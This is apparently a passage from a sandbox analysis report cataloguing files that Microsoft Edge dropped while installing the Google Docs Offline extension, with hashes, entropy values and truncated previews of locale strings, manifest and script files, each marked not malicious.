SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

